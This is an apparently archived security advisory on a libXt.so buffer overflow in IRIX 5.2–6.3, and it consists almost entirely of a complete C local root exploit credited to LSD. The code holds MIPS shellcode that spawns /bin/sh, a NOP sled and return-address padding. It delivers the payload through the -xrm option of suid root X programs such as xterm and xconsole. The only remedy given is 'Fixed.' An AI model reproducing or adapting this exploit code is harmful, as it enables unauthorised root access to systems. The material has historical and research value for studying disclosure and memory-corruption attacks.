COMMAND
libxt.so
SYSTEMS AFFECTED
IRIX 5.2, 5.3, 6.2, 6.3
PROBLEM
There exists a buffer overflow vulnerability in the libXt.so
library. It is possible to exploit this bug in several X suid
root binaries and locally gain root user privileges. Code by LSD.
/*## copyright LAST STAGE OF DELIRIUM jan 1997 poland *://lsd-pl.net/ #*/
/*## libxt.so -xrm #*/
#define NOPNUM 8000
#define ADRNUM 2000
#define PCHNUM 2000
#define TMPNUM 2000
#define ALLIGN 3
char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x01\x14" /* addi $ra,$ra,276 */
"\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
"\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
"\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
"\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
"\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;
char jump[]=
"\x03\xa0\x10\x25" /* move $v0,$sp */
"\x03\xe0\x00\x08" /* jr $ra */
;
char nop[]="\x24\x0f\x12\x34";
main(int argc,char **argv){
char buffer[20000],adr[4],pch[4],tmp[4],*b;
int i,n=-1;
printf("copyright LAST STAGE OF DELIRIUM jan 1997 poland //lsd-pl.net/\n");
printf("libxt.so -xrm for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");
if(argc!=2){
printf("usage: %s {monpanel|printers|dmplay|datman|xwsh|cdplayer|"
"xconsole|xterm}\n",argv[0]);
exit(-1);
}
if(!strcmp(argv[1],"monpanel")) n=0;
if(!strcmp(argv[1],"printers")) n=1;
if(!strcmp(argv[1],"dmplay")) n=2;
if(!strcmp(argv[1],"datman")) n=3;
if(!strcmp(argv[1],"xwsh")) n=4;
if(!strcmp(argv[1],"cdplayer")) n=5;
if(!strcmp(argv[1],"xconsole")) n=6;
if(!strcmp(argv[1],"xterm")) n=7;
if(n==-1) exit(-1);
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+15000+8000;
*((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+15000+15300+1000;
*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+15000+15300+1000+2000;
b=buffer;
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b++=0xff;
*b++=0xff;
for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;
switch(n){
case 0: execl("/usr/sbin/monpanel","lsd","-xrm",buffer,0);
case 1: execl("/usr/sbin/printers","lsd","-xrm",buffer,0);
case 2: execl("/usr/sbin/dmplay","lsd","-xrm",buffer,0);
case 3: execl("/usr/sbin/datman","lsd","-xrm",buffer,0);
case 4: execl("/usr/sbin/xwsh","lsd","-xrm",buffer,0);
case 5: execl("/usr/bin/X11/cdplayer","lsd","-xrm",buffer,0);
case 6: execl("/usr/bin/X11/xconsole","lsd","-xrm",buffer,0);
case 7: execl("/usr/bin/X11/xterm","lsd","-xrm",buffer,0);
}
}
SOLUTION
Fixed.